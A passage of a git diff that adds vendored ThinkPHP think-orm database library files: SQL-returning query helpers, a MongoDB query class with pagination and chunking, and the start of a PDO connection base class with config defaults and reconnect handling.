public + * @param mixed $data 数据 + * @return string + */ + public function update(array $data = []): string + { + $options = $this->query->parseOptions(); + + $data = !empty($data) ? $data : $options['data']; + + $pk = $this->query->getPk(); + + if (empty($options['where'])) { + // 如果存在主键数据 则自动作为更新条件 + if (is_string($pk) && isset($data[$pk])) { + $this->query->where($pk, '=', $data[$pk]); + unset($data[$pk]); + } elseif (is_array($pk)) { + // 增加复合主键支持 + foreach ($pk as $field) { + if (isset($data[$field])) { + $this->query->where($field, '=', $data[$field]); + } else { + // 如果缺少复合主键数据则不执行 + throw new Exception('miss complex primary data'); + } + unset($data[$field]); + } + } + + if (empty($this->query->getOptions('where'))) { + // 如果没有任何更新条件则不执行 + throw new Exception('miss update condition'); + } + } + + // 更新数据 + $this->query->setOption('data', $data); + + // 生成UPDATE SQL语句 + $sql = $this->builder->update($this->query); + + return $this->fetch($sql); + } + + /** + * 删除记录 + * @access public + * @param mixed $data 表达式 true 表示强制删除 + * @return string + */ + public function delete($data = null): string + { + $options = $this->query->parseOptions(); + + if (!is_null($data) && true !== $data) { + // AR模式分析主键条件 + $this->query->parsePkWhere($data); + } + + if (!empty($options['soft_delete'])) { + // 软删除 + [$field, $condition] = $options['soft_delete']; + if ($condition) { + $this->query->setOption('soft_delete', null); + $this->query->setOption('data', [$field => $condition]); + // 生成删除SQL语句 + $sql = $this->builder->delete($this->query); + return $this->fetch($sql); + } + } + + // 生成删除SQL语句 + $sql = $this->builder->delete($this->query); + + return $this->fetch($sql); + } + + /** + * 查找记录 返回SQL + * @access public + * @param mixed $data + * @return string + */ + public function select($data = null): string + { + $this->query->parseOptions(); + + if (!is_null($data)) { + // 主键条件分析 + $this->query->parsePkWhere($data); + } + + // 生成查询SQL + $sql = $this->builder->select($this->query); + + return $this->fetch($sql); + } + + /** + * 查找单条记录 返回SQL语句 + * @access public + * @param mixed $data + * @return string + */ + public function find($data = null): string + { + $this->query->parseOptions(); + + if (!is_null($data)) { + // AR模式分析主键条件 + $this->query->parsePkWhere($data); + } + + // 生成查询SQL + $sql = $this->builder->select($this->query, true); + + // 获取实际执行的SQL语句 + return $this->fetch($sql); + } + + /** + * 查找多条记录 如果不存在则抛出异常 + * @access public + * @param mixed $data + * @return string + */ + public function selectOrFail($data = null): string + { + return $this->select($data); + } + + /** + * 查找单条记录 如果不存在则抛出异常 + * @access public + * @param mixed $data + * @return string + */ + public function findOrFail($data = null): string + { + return $this->find($data); + } + + /** + * 查找单条记录 不存在返回空数据(或者空模型) + * @access public + * @param mixed $data 数据 + * @return string + */ + public function findOrEmpty($data = null) + { + return $this->find($data); + } + + /** + * 获取实际的SQL语句 + * @access public + * @param string $sql + * @return string + */ + public function fetch(string $sql): string + { + $bind = $this->query->getBind(); + + return $this->connection->getRealSql($sql, $bind); + } + + /** + * COUNT查询 + * @access public + * @param string $field 字段名 + * @return string + */ + public function count(string $field = '*'): string + { + $options = $this->query->parseOptions(); + + if (!empty($options['group'])) { + // 支持GROUP + $bind = $this->query->getBind(); + $subSql = $this->query->options($options)->field('count(' . $field . ') AS think_count')->bind($bind)->buildSql(); + + $query = $this->query->newQuery()->table([$subSql => '_group_count_']); + + return $query->fetchsql()->aggregate('COUNT', '*'); + } else { + return $this->aggregate('COUNT', $field); + } + } + + /** + * SUM查询 + * @access public + * @param string $field 字段名 + * @return string + */ + public function sum(string $field): string + { + return $this->aggregate('SUM', $field); + } + + /** + * MIN查询 + * @access public + * @param string $field 字段名 + * @return string + */ + public function min(string $field): string + { + return $this->aggregate('MIN', $field); + } + + /** + * MAX查询 + * @access public + * @param string $field 字段名 + * @return string + */ + public function max(string $field): string + { + return $this->aggregate('MAX', $field); + } + + /** + * AVG查询 + * @access public + * @param string $field 字段名 + * @return string + */ + public function avg(string $field): string + { + return $this->aggregate('AVG', $field); + } + + public function __call($method, $args) + { + if (strtolower(substr($method, 0, 5)) == 'getby') { + // 根据某个字段获取记录 + $field = Str::snake(substr($method, 5)); + return $this->where($field, '=', $args[0])->find(); + } elseif (strtolower(substr($method, 0, 10)) == 'getfieldby') { + // 根据某个字段获取记录的某个值 + $name = Str::snake(substr($method, 10)); + return $this->where($name, '=', $args[0])->value($args[1]); + } + + $result = call_user_func_array([$this->query, $method], $args); + return $result === $this->query ? $this : $result; + } +} diff --git a/vendor/topthink/think-orm/src/db/Mongo.php b/vendor/topthink/think-orm/src/db/Mongo.php new file mode 100644 index 0000000..5e8a09a --- /dev/null +++ b/vendor/topthink/think-orm/src/db/Mongo.php @@ -0,0 +1,712 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); +namespace think\db; + +use MongoDB\Driver\Command; +use MongoDB\Driver\Cursor; +use MongoDB\Driver\Exception\AuthenticationException; +use MongoDB\Driver\Exception\ConnectionException; +use MongoDB\Driver\Exception\InvalidArgumentException; +use MongoDB\Driver\Exception\RuntimeException; +use MongoDB\Driver\ReadPreference; +use MongoDB\Driver\WriteConcern; +use think\db\exception\DbException as Exception; +use think\Paginator; + +class Mongo extends BaseQuery +{ + /** + * 当前数据库连接对象 + * @var \think\db\connector\Mongo + */ + protected $connection; + + /** + * 执行指令 返回数据集 + * @access public + * @param Command $command 指令 + * @param string $dbName + * @param ReadPreference $readPreference readPreference + * @param string|array $typeMap 指定返回的typeMap + * @return mixed + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + public function command(Command $command, string $dbName = '', ReadPreference $readPreference = null, $typeMap = null) + { + return $this->connection->command($command, $dbName, $readPreference, $typeMap); + } + + /** + * 执行command + * @access public + * @param string|array|object $command 指令 + * @param mixed $extra 额外参数 + * @param string $db 数据库名 + * @return array + */ + public function cmd($command, $extra = null, string $db = ''): array + { + $this->parseOptions(); + return $this->connection->cmd($this, $command, $extra, $db); + } + + /** + * 指定distinct查询 + * @access public + * @param string $field 字段名 + * @return array + */ + public function getDistinct(string $field) + { + $result = $this->cmd('distinct', $field); + return $result[0]['values']; + } + + /** + * 获取数据库的所有collection + * @access public + * @param string $db 数据库名称 留空为当前数据库 + * @throws Exception + */ + public function listCollections(string $db = '') + { + $cursor = $this->cmd('listCollections', null, $db); + $result = []; + foreach ($cursor as $collection) { + $result[] = $collection['name']; + } + + return $result; + } + + /** + * COUNT查询 + * @access public + * @param string $field 字段名 + * @return integer + */ + public function count(string $field = null): int + { + $result = $this->cmd('count'); + + return $result[0]['n']; + } + + /** + * 聚合查询 + * @access public + * @param string $aggregate 聚合指令 + * @param string $field 字段名 + * @param bool $force 强制转为数字类型 + * @return mixed + */ + public function aggregate(string $aggregate, $field, bool $force = false) + { + $result = $this->cmd('aggregate', [strtolower($aggregate), $field]); + $value = $result[0]['aggregate'] ?? 0; + + if ($force) { + $value += 0; + } + + return $value; + } + + /** + * 多聚合操作 + * + * @param array $aggregate 聚合指令, 可以聚合多个参数, 如 ['sum' => 'field1', 'avg' => 'field2'] + * @param array $groupBy 类似mysql里面的group字段, 可以传入多个字段, 如 ['field_a', 'field_b', 'field_c'] + * @return array 查询结果 + */ + public function multiAggregate(array $aggregate, array $groupBy): array + { + $result = $this->cmd('multiAggregate', [$aggregate, $groupBy]); + + foreach ($result as &$row) { + if (isset($row['_id']) && !empty($row['_id'])) { + foreach ($row['_id'] as $k => $v) { + $row[$k] = $v; + } + unset($row['_id']); + } + } + + return $result; + } + + /** + * 字段值增长 + * @access public + * @param string $field 字段名 + * @param float $step 增长值 + * @return $this + */ + public function inc(string $field, float $step = 1) + { + $this->options['data'][$field] = ['$inc', $step]; + + return $this; + } + + /** + * 字段值减少 + * @access public + * @param string $field 字段名 + * @param float $step 减少值 + * @return $this + */ + public function dec(string $field, float $step = 1) + { + return $this->inc($field, -1 * $step); + } + + /** + * 指定当前操作的Collection + * @access public + * @param string $table 表名 + * @return $this + */ + public function table($table) + { + $this->options['table'] = $table; + + return $this; + } + + /** + * table方法的别名 + * @access public + * @param string $collection + * @return $this + */ + public function collection(string $collection) + { + return $this->table($collection); + } + + /** + * 设置typeMap + * @access public + * @param string|array $typeMap + * @return $this + */ + public function typeMap($typeMap) + { + $this->options['typeMap'] = $typeMap; + return $this; + } + + /** + * awaitData + * @access public + * @param bool $awaitData + * @return $this + */ + public function awaitData(bool $awaitData) + { + $this->options['awaitData'] = $awaitData; + return $this; + } + + /** + * batchSize + * @access public + * @param integer $batchSize + * @return $this + */ + public function batchSize(int $batchSize) + { + $this->options['batchSize'] = $batchSize; + return $this; + } + + /** + * exhaust + * @access public + * @param bool $exhaust + * @return $this + */ + public function exhaust(bool $exhaust) + { + $this->options['exhaust'] = $exhaust; + return $this; + } + + /** + * 设置modifiers + * @access public + * @param array $modifiers + * @return $this + */ + public function modifiers(array $modifiers) + { + $this->options['modifiers'] = $modifiers; + return $this; + } + + /** + * 设置noCursorTimeout + * @access public + * @param bool $noCursorTimeout + * @return $this + */ + public function noCursorTimeout(bool $noCursorTimeout) + { + $this->options['noCursorTimeout'] = $noCursorTimeout; + return $this; + } + + /** + * 设置oplogReplay + * @access public + * @param bool $oplogReplay + * @return $this + */ + public function oplogReplay(bool $oplogReplay) + { + $this->options['oplogReplay'] = $oplogReplay; + return $this; + } + + /** + * 设置partial + * @access public + * @param bool $partial + * @return $this + */ + public function partial(bool $partial) + { + $this->options['partial'] = $partial; + return $this; + } + + /** + * maxTimeMS + * @access public + * @param string $maxTimeMS + * @return $this + */ + public function maxTimeMS(string $maxTimeMS) + { + $this->options['maxTimeMS'] = $maxTimeMS; + return $this; + } + + /** + * collation + * @access public + * @param array $collation + * @return $this + */ + public function collation(array $collation) + { + $this->options['collation'] = $collation; + return $this; + } + + /** + * 设置是否REPLACE + * @access public + * @param bool $replace 是否使用REPLACE写入数据 + * @return $this + */ + public function replace(bool $replace = true) + { + return $this; + } + + /** + * 设置返回字段 + * @access public + * @param mixed $field 字段信息 + * @return $this + */ + public function field($field) + { + if (empty($field) || '*' == $field) { + return $this; + } + + if (is_string($field)) { + $field = array_map('trim', explode(',', $field)); + } + + $projection = []; + foreach ($field as $key => $val) { + if (is_numeric($key)) { + $projection[$val] = 1; + } else { + $projection[$key] = $val; + } + } + + $this->options['projection'] = $projection; + + return $this; + } + + /** + * 指定要排除的查询字段 + * @access public + * @param array|string $field 要排除的字段 + * @return $this + */ + public function withoutField($field) + { + if (empty($field) || '*' == $field) { + return $this; + } + + if (is_string($field)) { + $field = array_map('trim', explode(',', $field)); + } + + $projection = []; + foreach ($field as $key => $val) { + if (is_numeric($key)) { + $projection[$val] = 0; + } else { + $projection[$key] = $val; + } + } + + $this->options['projection'] = $projection; + return $this; + } + + /** + * 设置skip + * @access public + * @param integer $skip + * @return $this + */ + public function skip(int $skip) + { + $this->options['skip'] = $skip; + return $this; + } + + /** + * 设置slaveOk + * @access public + * @param bool $slaveOk + * @return $this + */ + public function slaveOk(bool $slaveOk) + { + $this->options['slaveOk'] = $slaveOk; + return $this; + } + + /** + * 指定查询数量 + * @access public + * @param int $offset 起始位置 + * @param int $length 查询数量 + * @return $this + */ + public function limit(int $offset, int $length = null) + { + if (is_null($length)) { + $length = $offset; + $offset = 0; + } + + $this->options['skip'] = $offset; + $this->options['limit'] = $length; + + return $this; + } + + /** + * 设置sort + * @access public + * @param array|string $field + * @param string $order + * @return $this + */ + public function order($field, string $order = '') + { + if (is_array($field)) { + $this->options['sort'] = $field; + } else { + $this->options['sort'][$field] = 'asc' == strtolower($order) ? 1 : -1; + } + return $this; + } + + /** + * 设置tailable + * @access public + * @param bool $tailable + * @return $this + */ + public function tailable(bool $tailable) + { + $this->options['tailable'] = $tailable; + return $this; + } + + /** + * 设置writeConcern对象 + * @access public + * @param WriteConcern $writeConcern + * @return $this + */ + public function writeConcern(WriteConcern $writeConcern) + { + $this->options['writeConcern'] = $writeConcern; + return $this; + } + + /** + * 获取当前数据表的主键 + * @access public + * @return string|array + */ + public function getPk() + { + return $this->pk ?: $this->connection->getConfig('pk'); + } + + /** + * 执行查询但只返回Cursor对象 + * @access public + * @return Cursor + */ + public function getCursor(): Cursor + { + $this->parseOptions(); + + return $this->connection->getCursor($this); + } + + /** + * 获取当前的查询标识 + * @access public + * @param mixed $data 要序列化的数据 + * @return string + */ + public function getQueryGuid($data = null): string + { + return md5($this->getConfig('database') . serialize(var_export($data ?: $this->options, true))); + } + + /** + * 分页查询 + * @access public + * @param int|array $listRows 每页数量 数组表示配置参数 + * @param int|bool $simple 是否简洁模式或者总记录数 + * @return Paginator + * @throws Exception + */ + public function paginate($listRows = null, $simple = false): Paginator + { + if (is_int($simple)) { + $total = $simple; + $simple = false; + } + + $defaultConfig = [ + 'query' => [], //url额外参数 + 'fragment' => '', //url锚点 + 'var_page' => 'page', //分页变量 + 'list_rows' => 15, //每页数量 + ]; + + if (is_array($listRows)) { + $config = array_merge($defaultConfig, $listRows); + $listRows = intval($config['list_rows']); + } else { + $config = $defaultConfig; + $listRows = intval($listRows ?: $config['list_rows']); + } + + $page = isset($config['page']) ? (int) $config['page'] : Paginator::getCurrentPage($config['var_page']); + + $page = $page < 1 ? 1 : $page; + + $config['path'] = $config['path'] ?? Paginator::getCurrentPath(); + + if (!isset($total) && !$simple) { + $options = $this->getOptions(); + + unset($this->options['order'], $this->options['limit'], $this->options['page'], $this->options['field']); + + $total = $this->count(); + $results = $this->options($options)->page($page, $listRows)->select(); + } elseif ($simple) { + $results = $this->limit(($page - 1) * $listRows, $listRows + 1)->select(); + $total = null; + } else { + $results = $this->page($page, $listRows)->select(); + } + + $this->removeOption('limit'); + $this->removeOption('page'); + + return Paginator::make($results, $listRows, $page, $total, $simple, $config); + } + + /** + * 分批数据返回处理 + * @access public + * @param integer $count 每次处理的数据数量 + * @param callable $callback 处理回调方法 + * @param string|array $column 分批处理的字段名 + * @param string $order 字段排序 + * @return bool + * @throws Exception + */ + public function chunk(int $count, callable $callback, $column = null, string $order = 'asc'): bool + { + $options = $this->getOptions(); + $column = $column ?: $this->getPk(); + + if (isset($options['order'])) { + unset($options['order']); + } + + if (is_array($column)) { + $times = 1; + $query = $this->options($options)->page($times, $count); + } else { + $query = $this->options($options)->limit($count); + + if (strpos($column, '.')) { + [$alias, $key] = explode('.', $column); + } else { + $key = $column; + } + } + + $resultSet = $query->order($column, $order)->select(); + + while (count($resultSet) > 0) { + if (false === call_user_func($callback, $resultSet)) { + return false; + } + + if (isset($times)) { + $times++; + $query = $this->options($options)->page($times, $count); + } else { + $end = $resultSet->pop(); + $lastId = is_array($end) ? $end[$key] : $end->getData($key); + + $query = $this->options($options) + ->limit($count) + ->where($column, 'asc' == strtolower($order) ? '>' : '<', $lastId); + } + + $resultSet = $query->order($column, $order)->select(); + } + + return true; + } + + /** + * 分析表达式(可用于查询或者写入操作) + * @access public + * @return array + */ + public function parseOptions(): array + { + $options = $this->options; + + // 获取数据表 + if (empty($options['table'])) { + $options['table'] = $this->getTable(); + } + + foreach (['where', 'data'] as $name) { + if (!isset($options[$name])) { + $options[$name] = []; + } + } + + $modifiers = empty($options['modifiers']) ? [] : $options['modifiers']; + if (isset($options['comment'])) { + $modifiers['$comment'] = $options['comment']; + } + + if (isset($options['maxTimeMS'])) { + $modifiers['$maxTimeMS'] = $options['maxTimeMS']; + } + + if (!empty($modifiers)) { + $options['modifiers'] = $modifiers; + } + + if (!isset($options['projection'])) { + $options['projection'] = []; + } + + if (!isset($options['typeMap'])) { + $options['typeMap'] = $this->getConfig('type_map'); + } + + if (!isset($options['limit'])) { + $options['limit'] = 0; + } + + foreach (['master', 'fetch_sql', 'fetch_cursor'] as $name) { + if (!isset($options[$name])) { + $options[$name] = false; + } + } + + if (isset($options['page'])) { + // 根据页数计算limit + [$page, $listRows] = $options['page']; + + $page = $page > 0 ? $page : 1; + $listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20); + $offset = $listRows * ($page - 1); + $options['skip'] = intval($offset); + $options['limit'] = intval($listRows); + } + + $this->options = $options; + + return $options; + } + + /** + * 获取字段类型信息 + * @access public + * @return array + */ + public function getFieldsType(): array + { + if (!empty($this->options['field_type'])) { + return $this->options['field_type']; + } + + return []; + } + + /** + * 获取字段类型信息 + * @access public + * @param string $field 字段名 + * @return string|null + */ + public function getFieldType(string $field) + { + $fieldType = $this->getFieldsType(); + + return $fieldType[$field] ?? null; + } +} diff --git a/vendor/topthink/think-orm/src/db/PDOConnection.php b/vendor/topthink/think-orm/src/db/PDOConnection.php new file mode 100644 index 0000000..e8a1dbf --- /dev/null +++ b/vendor/topthink/think-orm/src/db/PDOConnection.php @@ -0,0 +1,1744 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db; + +use Closure; +use PDO; +use PDOStatement; +use think\db\exception\BindParamException; +use think\db\exception\DbException; +use think\db\exception\PDOException; + +/** + * 数据库连接基础类 + */ +abstract class PDOConnection extends Connection +{ + const PARAM_FLOAT = 21; + + /** + * 数据库连接参数配置 + * @var array + */ + protected $config = [ + // 数据库类型 + 'type' => '', + // 服务器地址 + 'hostname' => '', + // 数据库名 + 'database' => '', + // 用户名 + 'username' => '', + // 密码 + 'password' => '', + // 端口 + 'hostport' => '', + // 连接dsn + 'dsn' => '', + // 数据库连接参数 + 'params' => [], + // 数据库编码默认采用utf8 + 'charset' => 'utf8', + // 数据库表前缀 + 'prefix' => '', + // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) + 'deploy' => 0, + // 数据库读写是否分离 主从式有效 + 'rw_separate' => false, + // 读写分离后 主服务器数量 + 'master_num' => 1, + // 指定从服务器序号 + 'slave_no' => '', + // 模型写入后自动读取主服务器 + 'read_master' => false, + // 是否严格检查字段是否存在 + 'fields_strict' => true, + // 开启字段缓存 + 'fields_cache' => false, + // 监听SQL + 'trigger_sql' => true, + // Builder类 + 'builder' => '', + // Query类 + 'query' => '', + // 是否需要断线重连 + 'break_reconnect' => false, + // 断线标识字符串 + 'break_match_str' => [], + ]; + + /** + * PDO操作实例 + * @var PDOStatement + */ + protected $PDOStatement; + + /** + * 当前SQL指令 + * @var string + */ + protected $queryStr = ''; + + /** + * 事务指令数 + * @var int + */ + protected $transTimes = 0; + + /** + * 重连次数 + * @var int + */ + protected $reConnectTimes = 0; + + /** + * 查询结果类型 + * @var int + */ + protected $fetchType = PDO::FETCH_ASSOC; + + /** + * 字段属性大小写 + * @var int + */ + protected $attrCase = PDO::CASE_LOWER; + + /** + * 数据表信息 + * @var array + */ + protected $info = []; + + /** + * 查询开始时间 + * @var float + */ + protected $queryStartTime; + + /** + * PDO连接参数 + * @var array + */ + protected $params = [ + PDO::ATTR_CASE => PDO::CASE_NATURAL, + PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, + PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, + PDO::ATTR_STRINGIFY_FETCHES => false, + PDO::ATTR_EMULATE_PREPARES => false, + ]; + + /** + * 参数绑定类型映射 + * @var array + */ + protected $bindType = [ + 'string' => PDO::PARAM_STR, + 'str' => PDO::PARAM_STR, + 'integer' => PDO::PARAM_INT, + 'int' => PDO::PARAM_INT, + 'boolean' => PDO::PARAM_BOOL, + 'bool' => PDO::PARAM_BOOL, + 'float' => self::PARAM_FLOAT, + 'datetime' => PDO::PARAM_STR, + 'timestamp' => PDO::PARAM_STR, + ]; + + /** + * 服务器断线标识字符 + * @var array + */ + protected $breakMatchStr = [ + 'server has gone away', + 'no connection to the server', + 'Lost connection', + 'is dead or not enabled', + 'Error while sending', + 'decryption failed or bad record mac', + 'server closed the connection unexpectedly', + 'SSL connection has been closed unexpectedly', + 'Error writing data to the connection', + 'Resource deadlock avoided', + 'failed with errno', + ]; + + /** + * 绑定参数 + * @var array + */ + protected $bind = []; + + /** + * 获取当前连接器类对应的Query类 + * @access public + * @return string + */ + public function getQueryClass(): string + { + return $this->getConfig('query') ?: Query::class; + } + + /** + * 获取当前连接器类对应的Builder类 + * @access public + * @return string + */ + public function getBuilderClass(): string + { + return $this->getConfig('builder') ?: '\\think\\db\\builder\\' . ucfirst($this->getConfig('type')); + } + + /** + * 解析pdo连接的dsn信息 + * @access protected + * @param array $config 连接信息 + * @return string + */ + abstract protected function parseDsn(array $config): string; + + /** + * 取得数据表的字段信息 + * @access public + * @param string $tableName 数据表名称 + * @return array + */ + abstract public function getFields(string $tableName): array; + + /** + * 取得数据库的表信息 + * @access public + * @param string $dbName 数据库名称 + * @return array + */ + abstract public function getTables(string $dbName = ''): array; + + /** + * 对返数据表字段信息进行大小写转换出来 + * @access public + * @param array $info 字段信息 + * @return array + */ + public function fieldCase(array $info): array + { + // 字段大小写转换 + switch ($this->attrCase) { + case PDO::CASE_LOWER: + $info = array_change_key_case($info); + break; + case PDO::CASE_UPPER: + $info = array_change_key_case($info, CASE_UPPER); + break; + case PDO::CASE_NATURAL: + default: + // 不做转换 + } + + return $info; + } + + /** + * 获取字段类型 + * @access protected + * @param string $type 字段类型 + * @return string + */ + protected function getFieldType(string $type): string + { + if (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) { + $result = 'string'; + } elseif (preg_match('/(double|float|decimal|real|numeric)/is', $type)) { + $result = 'float'; + } elseif (preg_match('/(int|serial|bit)/is', $type)) { + $result = 'int'; + } elseif (preg_match('/bool/is', $type)) { + $result = 'bool'; + } elseif (0 === strpos($type, 'timestamp')) { + $result = 'timestamp'; + } elseif (0 === strpos($type, 'datetime')) { + $result = 'datetime'; + } elseif (0 === strpos($type, 'date')) { + $result = 'date'; + } else { + $result = 'string'; + } + + return $result; + } + + /** + * 获取字段绑定类型 + * @access public + * @param string $type 字段类型 + * @return integer + */ + public function getFieldBindType(string $type): int + { + if (in_array($type, ['integer', 'string', 'float', 'boolean', 'bool', 'int', 'str'])) { + $bind = $this->bindType[$type]; + } elseif (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) { + $bind = PDO::PARAM_STR; + } elseif (preg_match('/(double|float|decimal|real|numeric)/is', $type)) { + $bind = self::PARAM_FLOAT; + } elseif (preg_match('/(int|serial|bit)/is', $type)) { + $bind = PDO::PARAM_INT; + } elseif (preg_match('/bool/is', $type)) { + $bind = PDO::PARAM_BOOL; + } else { + $bind = PDO::PARAM_STR; + } + + return $bind; + } + + /** + * 获取数据表信息缓存key + * @access protected + * @param string $schema 数据表名称 + * @return string + */ + protected function getSchemaCacheKey(string $schema): string + { + return $this->getConfig('hostname') . ':' . $this->getConfig('hostport') . '@' . $schema; + } + + /** + * @param string $tableName 数据表名称 + * @param bool $force 强制从数据库获取 + * @return array + */ + public function getSchemaInfo(string $tableName, $force = false) + { + if (!strpos($tableName, '.')) { + $schema = $this->getConfig('database') . '.' . $tableName; + } else { + $schema = $tableName; + } + + if (!isset($this->info[$schema]) || $force) { + // 读取字段缓存 + $cacheKey = $this->getSchemaCacheKey($schema); + $cacheField = $this->config['fields_cache'] && !empty($this->cache); + + if ($cacheField && !$force) { + $info = $this->cache->get($cacheKey); + } + + if (empty($info)) { + $info = $this->getTableFieldsInfo($tableName); + if ($cacheField) { + $this->cache->set($cacheKey, $info); + } + } + + $pk = $info['_pk'] ?? null; + $autoinc = $info['_autoinc'] ?? null; + unset($info['_pk'], $info['_autoinc']); + + $bind = []; + foreach ($info as $name => $val) { + $bind[$name] = $this->getFieldBindType($val); + } + + $this->info[$schema] = [ + 'fields' => array_keys($info), + 'type' => $info, + 'bind' => $bind, + 'pk' => $pk, + 'autoinc' => $autoinc, + ]; + } + + return $this->info[$schema]; + } + + /** + * 获取数据表信息 + * @access public + * @param mixed $tableName 数据表名 留空自动获取 + * @param string $fetch 获取信息类型 包括 fields type bind pk + * @return mixed + */ + public function getTableInfo($tableName, string $fetch = '') + { + if (is_array($tableName)) { + $tableName = key($tableName) ?: current($tableName); + } + + if (strpos($tableName, ',') || strpos($tableName, ')')) { + // 多表不获取字段信息 + return []; + } + + [$tableName] = explode(' ', $tableName); + + $info = $this->getSchemaInfo($tableName); + + return $fetch ? $info[$fetch] : $info; + } + + /** + * 获取数据表的字段信息 + * @access public + * @param string $tableName 数据表名 + * @return array + */ + public function getTableFieldsInfo(string $tableName): array + { + $fields = $this->getFields($tableName); + $info = []; + + foreach ($fields as $key => $val) { + // 记录字段类型 + $info[$key] = $this->getFieldType($val['type']); + + if (!empty($val['primary'])) { + $pk[] = $key; + } + + if (!empty($val['autoinc'])) { + $autoinc = $key; + } + } + + if (isset($pk)) { + // 设置主键 + $pk = count($pk) > 1 ? $pk : $pk[0]; + $info['_pk'] = $pk; + } + + if (isset($autoinc)) { + $info['_autoinc'] = $autoinc; + } + + return $info; + } + + /** + * 获取数据表的主键 + * @access public + * @param mixed $tableName 数据表名 + * @return string|array + */ + public function getPk($tableName) + { + return $this->getTableInfo($tableName, 'pk'); + } + + /** + * 获取数据表的自增主键 + * @access public + * @param mixed $tableName 数据表名 + * @return string + */ + public function getAutoInc($tableName) + { + return $this->getTableInfo($tableName, 'autoinc'); + } + + /** + * 获取数据表字段信息 + * @access public + * @param mixed $tableName 数据表名 + * @return array + */ + public function getTableFields($tableName): array + { + return $this->getTableInfo($tableName, 'fields'); + } + + /** + * 获取数据表字段类型 + * @access public + * @param mixed $tableName 数据表名 + * @param string $field 字段名 + * @return array|string + */ + public function getFieldsType($tableName, string $field = null) + { + $result = $this->getTableInfo($tableName, 'type'); + + if ($field && isset($result[$field])) { + return $result[$field]; + } + + return $result; + } + + /** + * 获取数据表绑定信息 + * @access public + * @param mixed $tableName 数据表名 + * @return array + */ + public function getFieldsBind($tableName): array + { + return $this->getTableInfo($tableName, 'bind'); + } + + /** + * 连接数据库方法 + * @access public + * @param array $config 连接参数 + * @param integer $linkNum 连接序号 + * @param array|bool $autoConnection 是否自动连接主数据库(用于分布式) + * @return PDO + * @throws PDOException + */ + public function connect(array $config = [], $linkNum = 0, $autoConnection = false): PDO + { + if (isset($this->links[$linkNum])) { + return $this->links[$linkNum]; + } + + if (empty($config)) { + $config = $this->config; + } else { + $config = array_merge($this->config, $config); + } + + // 连接参数 + if (isset($config['params']) && is_array($config['params'])) { + $params = $config['params'] + $this->params; + } else { + $params = $this->params; + } + + // 记录当前字段属性大小写设置 + $this->attrCase = $params[PDO::ATTR_CASE]; + + if (!empty($config['break_match_str'])) { + $this->breakMatchStr = array_merge($this->breakMatchStr, (array) $config['break_match_str']); + } + + try { + if (empty($config['dsn'])) { + $config['dsn'] = $this->parseDsn($config); + } + + $startTime = microtime(true); + + $this->links[$linkNum] = $this->createPdo($config['dsn'], $config['username'], $config['password'], $params); + + // SQL监控 + if (!empty($config['trigger_sql'])) { + $this->trigger('CONNECT:[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $config['dsn']); + } + + return $this->links[$linkNum]; + } catch (\PDOException $e) { + if ($autoConnection) { + $this->db->log($e->getMessage(), 'error'); + return $this->connect($autoConnection, $linkNum); + } else { + throw $e; + } + } + } + + /** + * 视图查询 + * @access public + * @param array $args + * @return BaseQuery + */ + public function view(...$args) + { + return $this->newQuery()->view(...$args); + } + + /** + * 创建PDO实例 + * @param $dsn + * @param $username + * @param $password + * @param $params + * @return PDO + */ + protected function createPdo($dsn, $username, $password, $params) + { + return new PDO($dsn, $username, $password, $params); + } + + /** + * 释放查询结果 + * @access public + */ + public function free(): void + { + $this->PDOStatement = null; + } + + /** + * 获取PDO对象 + * @access public + * @return \PDO|false + */ + public function getPdo() + { + if (!$this->linkID) { + return false; + } + + return $this->linkID; + } + + /** + * 执行查询 使用生成器返回数据 + * @access public + * @param BaseQuery $query 查询对象 + * @param string $sql sql指令 + * @param array $bind 参数绑定 + * @param \think\Model $model 模型对象实例 + * @param array $condition 查询条件 + * @return \Generator + */ + public function getCursor(BaseQuery $query, string $sql, array $bind = [], $model = null, $condition = null) + { + $this->queryPDOStatement($query, $sql, $bind); + + // 返回结果集 + while ($result = $this->PDOStatement->fetch($this->fetchType)) { + if ($model) { + yield $model->newInstance($result, $condition); + } else { + yield $result; + } + } + } + + /** + * 执行查询 返回数据集 + * @access public + * @param string $sql sql指令 + * @param array $bind 参数绑定 + * @param bool $master 主库读取 + * @return array + * @throws BindParamException + * @throws \PDOException + */ + public function query(string $sql, array $bind = [], bool $master = false): array + { + return $this->pdoQuery($this->newQuery(), $sql, $bind, $master); + } + + /** + * 执行语句 + * @access public + * @param string $sql sql指令 + * @param array $bind 参数绑定 + * @return int + * @throws BindParamException + * @throws \PDOException + */ + public function execute(string $sql, array $bind = []): int + { + return $this->pdoExecute($this->newQuery(), $sql, $bind, true); + } + + /** + * 执行查询 返回数据集 + * @access protected + * @param BaseQuery $query 查询对象 + * @param mixed $sql sql指令 + * @param array $bind 参数绑定 + * @param bool $master 主库读取 + * @return array + * @throws BindParamException + * @throws \PDOException + * @throws \Exception + * @throws \Throwable + */ + protected function pdoQuery(BaseQuery $query, $sql, array $bind = [], bool $master = null): array + { + // 分析查询表达式 + $query->parseOptions(); + + if ($query->getOptions('cache')) { + // 检查查询缓存 + $cacheItem = $this->parseCache($query, $query->getOptions('cache')); + $key = $cacheItem->getKey(); + + $data = $this->cache->get($key); + + if (null !== $data) { + return $data; + } + } + + if ($sql instanceof Closure) { + $sql = $sql($query); + $bind = $query->getBind(); + } + + if (!isset($master)) { + $master = $query->getOptions('master') ? true : false; + } + + $procedure = $query->getOptions('procedure') ? true : in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']); + + $this->getPDOStatement($sql, $bind, $master, $procedure); + + $resultSet = $this->getResult($procedure); + + if (isset($cacheItem) && $resultSet) { + // 缓存数据集 + $cacheItem->set($resultSet); + $this->cacheData($cacheItem); + } + + return $resultSet; + } + + /** + * 执行查询但只返回PDOStatement对象 + * @access public + * @param BaseQuery $query 查询对象 + * @return \PDOStatement + */ + public function pdo(BaseQuery $query): PDOStatement + { + $bind = 